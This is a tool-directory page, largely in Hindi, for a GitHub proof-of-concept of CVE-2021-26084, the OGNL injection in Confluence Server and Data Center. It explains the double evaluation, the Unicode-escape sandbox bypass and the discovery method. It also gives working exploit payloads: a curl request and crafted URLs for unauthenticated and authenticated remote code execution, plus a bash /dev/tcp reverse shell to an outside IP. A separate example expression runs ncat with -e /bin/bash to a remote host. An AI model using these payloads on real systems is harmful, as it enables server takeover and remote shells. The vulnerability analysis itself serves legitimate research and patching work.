Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-26084 — CVE-2021-26084 - Confluence Server Webwork OGNL injection | Kitploit
उपकरण/GitHubGitHub/orangmuda/cve-2021-26084
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHuborangmuda/cve-2021-26084

CVE-2021-26084

CVE-2021-26084 - Confluence Server Webwork OGNL injection

रिपॉजिटरी देखें
434 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-26084

परिचय

यह लेख CVE-2021-26084 - Confluence Server Webwork OGNL इंजेक्शन [1] का एक अवलोकन प्रदान करता है, जो एक प्रमाणित उपयोगकर्ता को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देता है।

TL;DR

Confluence Server / Data Center वेब अनुरोधों को प्रोसेस करने के लिए Webwork 2 MVC फ्रेमवर्क का उपयोग करता है और व्यू लेयर मुख्य रूप से Velocity टेम्पलेट्स से बनी होती है। जब Velocity टेम्पलेट Webwork टैग का उपयोग करते हैं जिसमें $ युक्त value विशेषता होती है, तो एक दोहरी मूल्यांकन किया जाता है। जब $ के साथ कोई Value विशेषता वाला Webwork टैग सामना किया जाता है, तो Velocity टेम्पलेट के पार्सिंग में एक प्रारंभिक मूल्यांकन होता है; यह मूल्यांकित मान फिर Webwork टैग को पास किया जाता है जो मान को OGNL एक्सप्रेशन के रूप में और मूल्यांकन करता है। यदि एक्शन क्लास value विशेषता में प्रयुक्त पैरामीटर के लिए एक setter फ़ंक्शन प्रदान करता है, तो इस पैरामीटर को URL पैरामीटर का उपयोग करके URL से सेट किया जा सकता है। इसलिए, OGNL पेलोड के साथ एक URL तैयार करके, एक हमलावर Confluence Server / Data Center के प्रभावित संस्करणों पर रिमोट कोड निष्पादन कर सकता है।

पेलोड

root@kitploit:~
# UnAuthenticated RCE  - based on the awesome write-up  at httpvoid; courtesy of  Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

एक्सप्रेशन लैंग्वेज इंजेक्शन

एक्सप्रेशन लैंग्वेज इंजेक्शन कमजोरियाँ तब उत्पन्न होती हैं जब कोई एप्लिकेशन उपयोगकर्ता-नियंत्रणीय डेटा को एक स्ट्रिंग में शामिल करता है जो कोड इंटरप्रेटर द्वारा गतिशील रूप से मूल्यांकित किया जाता है। यदि उपयोगकर्ता डेटा कठोरता से मान्य नहीं किया गया है, तो एक हमलावर निष्पादित किए जाने वाले कोड को संशोधित करने के लिए तैयार किए गए इनपुट का उपयोग कर सकता है, और मनमाना कोड इंजेक्ट कर सकता है जो सर्वर द्वारा निष्पादित किया जाएगा [2]। ऑब्जेक्ट-ग्राफ नेविगेशन लैंग्वेज (OGNL) [3] जावा ऑब्जेक्ट्स को संभालने के लिए एक एक्सप्रेशन लैंग्वेज है। जब OGNL इंजेक्शन कमजोरी मौजूद होती है, तो हमलावर के लिए OGNL एक्सप्रेशन इंजेक्ट करना संभव होता है जिसका उपयोग मनमाना जावा कोड निष्पादित करने के लिए किया जा सकता है। गुण प्राप्त/सेट करने के अलावा, OGNL कई और सुविधाओं का समर्थन करता है, जिनमें से नीचे दिए गए एक्सप्लॉइट विकास के दृष्टिकोण से दिलचस्प प्रतीत होते हैं:

  • स्टैटिक विधि कॉलिंग: @java.lang.Runtime@getRuntime()

  • कंस्ट्रक्टर कॉलिंग: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}

  • संदर्भ चर के साथ काम करने की क्षमता: #attr["webwork.valueStack"]

  • विधि कॉलिंग: #attr["webwork.valueStack"].findValue()

उपरोक्त निर्माणों को मिलाकर एक मान्य OGNL एक्सप्रेशन बनाया जा सकता है। एक विशिष्ट OGNL एक्सप्रेशन नीचे दिखाया गया है:

root@kitploit:~
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')

Webwork 2

WebWork 2 एक पुल-आधारित MVC फ्रेमवर्क है जो XWork नामक एक कमांड पैटर्न फ्रेमवर्क API के शीर्ष पर बनाया गया है और यह लोकप्रिय Apache Struts2 का पूर्ववर्ती है। Confluence उपयोगकर्ताओं द्वारा प्रस्तुत वेब अनुरोधों को प्रोसेस करने के लिए OpenSymphony के WebWork 2 का उपयोग करता है। Webwork अपने ऑब्जेक्ट स्टैक (जिसे ValueStack भी कहा जाता है) को नेविगेट करने के लिए OGNL पर आधारित एक शक्तिशाली एक्सप्रेशन लैंग्वेज का समर्थन करता है। यह JSP, FreeMarker, Velocity सहित कई व्यू तकनीकों का भी समर्थन करता है और एक समृद्ध टैग लाइब्रेरी प्रदान करता है। "WebWork: Strutting the OpenSymphony way" by Mike Cannon-Brookes [4] Webwork 2 फ्रेमवर्क का एक उत्कृष्ट अवलोकन प्रदान करता है। अन्य चीजों के अलावा, इस कमजोरी के लिए विशेष रुचि Webwork का निम्नलिखित के लिए समर्थन है:

  • अनुरोध पैरामीटर (URL पैराम) के आधार पर स्वचालित रूप से एक्शन के गुण सेट करना
  • व्यू इंटीग्रेशन (Velocity)
  • यूजर इंटरफेस / फॉर्म कम्पोनेंट (Webwork टैग) जो अपनी कुछ विशेषताओं को OGNL का उपयोग करके प्रोसेस करते हैं

खोज

कमजोरी का पता लगाने में मुख्य रूप से एक व्हाइट बॉक्स परीक्षण दृष्टिकोण शामिल था जहाँ OGNL मूल्यांकन का विश्लेषण करने के लिए स्रोत कोड इंस्ट्रुमेंटेशन का उपयोग किया गया था। GHSL शोधकर्ता Man Yue Mo के Apache Struts में OGNL इंजेक्शन पर उत्कृष्ट शोध [5] [6] [7] के बाद, यह देखा गया कि UIBean क्लास का evaluateParams विधि एक दिलचस्प उम्मीदवार के रूप में कार्य करता है। Confluence Data Center में webwork लाइब्रेरी का कोड बेस (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) JD GUI का उपयोग करके निकाला गया और evaluateParams के समान विधियों के लिए विश्लेषण किया गया। सबसे करीबी मैच com.opensymphony.webwork.views.jsp.ui.AbstractUITag में protected void evaluateParams(OgnlValueStack stack) विधि था। स्रोत कोड विश्लेषण ने आगे खुलासा किया कि एक com.opensymphony.webwork.util.SafeExpressionUtil क्लास मौजूद है जो अधिकांश OGNL पेलोड को अवरुद्ध करता है।

चूँकि लेखक के पास Confluence Server को डीबगर के माध्यम से चलाने का लगभग कोई विशेषज्ञता नहीं थी, उपरोक्त कक्षाओं में OGNL मूल्यांकन के परिणामों को डंप करने के लिए आदिम प्रिंट स्टेटमेंट का उपयोग किया गया था। स्रोत कोड को इंस्ट्रुमेंट करने में शामिल कदम थे:

  1. JD GUI का उपयोग करके webwork-2.1.5-atlassian-3.jar को डीकंपाइल करें।
  2. AbstractUITag.java और SafeExpressionUtil.java फ़ाइलों को Confluence Server पर एक अस्थायी फ़ोल्डर में कॉपी करें।
  3. रुचि के तरीकों को प्रिंट स्टेटमेंट के साथ अपडेट करें जो परिणामों को stdout पर डंप करते थे।
root@kitploit:~
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" +  (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
  1. संशोधित जावा फ़ाइलों को संकलित करें और उन्हें वापस webwork-2.1.5-atlassian-3.jar में इंजेक्ट करें।
root@kitploit:~
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
  1. Confluence इंस्टॉलेशन डायरेक्टरी में webwork-2.1.5-atlassian-3.jar को इंस्ट्रुमेंटेड संस्करण से बदलें।
  2. Confluence सर्वर को फोरग्राउंड में चलाएं और कंसोल आउटपुट का निरीक्षण करें।

इंस्ट्रुमेंटेड webwork लाइब्रेरी के साथ, यह देखा गया कि webwork टैग का value विशेषता एक संभावित इंजेक्शन बिंदु है क्योंकि रेंडरिंग evaluateParams विधि में समाप्त हुई और value विशेषता को OGNL के रूप में मूल्यांकित किया गया। यह भी देखा गया कि यदि Velocity टेम्पलेट में एक webwork टैग था जिसकी value विशेषता $ निर्माण का उपयोग करके सेट की गई थी, तो इस मान का मूल्यांकन Velocity टेम्पलेट के रेंडरिंग के दौरान किया गया और यह मूल्यांकित मान Webwork टैग को पास किया गया। ऐसे टैग का विशिष्ट उदाहरण नीचे दिया गया है:

root@kitploit:~
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")

#tag( "Hidden" "name='token'" "value='$!action.token'" )

#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")

हालाँकि value विशेषता इनपुट को OGNL के रूप में प्रोसेस कर रही थी, $ निर्माण के चारों ओर एकल उद्धरण थे जिससे इनपुट को स्ट्रिंग के रूप में माना जाता था। इस प्रतिबंध को दरकिनार करने के लिए Unicode एस्केप अनुक्रम का उपयोग किया गया क्योंकि एकल उद्धरणों को सीधे पारित करने पर OGNL निष्पादन बिंदु तक पहुंचने से पहले उन्हें html संस्थाओं में परिवर्तित कर दिया गया। Unicode एस्केप अनुक्रम OgnlUtil.compile के अंदर पार्स किया जाता है और एक ognl.ASTAdd बनता है जिससे इंजेक्ट किया गया Ognl पेलोड मूल्यांकित किया जाता है।

root@kitploit:~
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""

com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

confluence-ognl-injection-identification

Confluence कोडबेस में एक रेगेक्स पैटर्न से मेल खाने वाली Velocity फ़ाइलों की खोज की गई जिनमें एक webwork टैग और इसकी विशेषता में $ था। एक बार Velocity फ़ाइल की पहचान हो जाने के बाद, संबंधित एक्शन क्लास जो Velocity टेम्पलेट का उपयोग करता था, xwork कॉन्फ़िगरेशन फ़ाइल, xwork.xml (confluence-x.y.z.jar के अंदर) के माध्यम से ब्राउज़ करके पहचाना गया। प्रक्रिया मोटे तौर पर इस प्रकार दिखती है:

एक्सप्लॉइट

content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) में नीचे दिया गया Webwork टैग था:

root@kitploit:~
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end

value विशेषता, templateId, को docreatepagefromtemplate.action एंडपॉइंट पर एक URL पैराम sourceTemplateId पारित करके सेट किया जा सकता है। जब sourceTemplateId नाम का URL पैराम कॉल किया जाता है, तो फ्रेमवर्क द्वारा एक्शन क्लास (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction) का setter फ़ंक्शन, setSourceTemplateId आमंत्रित किया जाता है और यह sourceTemplateId सदस्य चर का मान सेट करता है।

जब Velocity टेम्पलेट पार्स किया जाता है, तो ${templateId} प्रारंभ में एक्शन क्लास के getTemplateId फ़ंक्शन को कॉल करके मूल्यांकित किया जाता है जो sourceTemplateId सदस्य चर का मान लौटाता है।

confluence-ognl-injection-source-analysis

यह मूल्यांकित मान फिर Webwork टैग की value विशेषता को पास किया जाता है जो फिर value विशेषता को OGNL एक्सप्रेशन के रूप में मूल्यांकन करता है। अंत में, Unicode एस्केप अनुक्रम का उपयोग करके और #attr["webwork.valueStack"] चर का लाभ उठाकर, WebWork टैग द्वारा उपयोग किए जाने वाले SafeExpressionUtil सैंडबॉक्स को दरकिनार करना और मनमाना जावा कोड निष्पादित करना संभव है।

confluence-ognl-injection-payload-evaluation

संदर्भ

  1. Confluence Security Advisory - 2021-08-25

  2. Expression Language injection

  3. Apache Commons OGNL - Language Guide

  4. Strutting the OpenSymphony way

  5. Apache Struts double evaluation RCE lottery. 4 Oct 2018

  6. OGNL injection in Apache Struts: Discovering exploits with taint tracking. 24 Sep 2018

  7. CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL

  8. CVE-2021-26084 Remote Code Execution on Confluence Servers

टूल डाउनलोड करें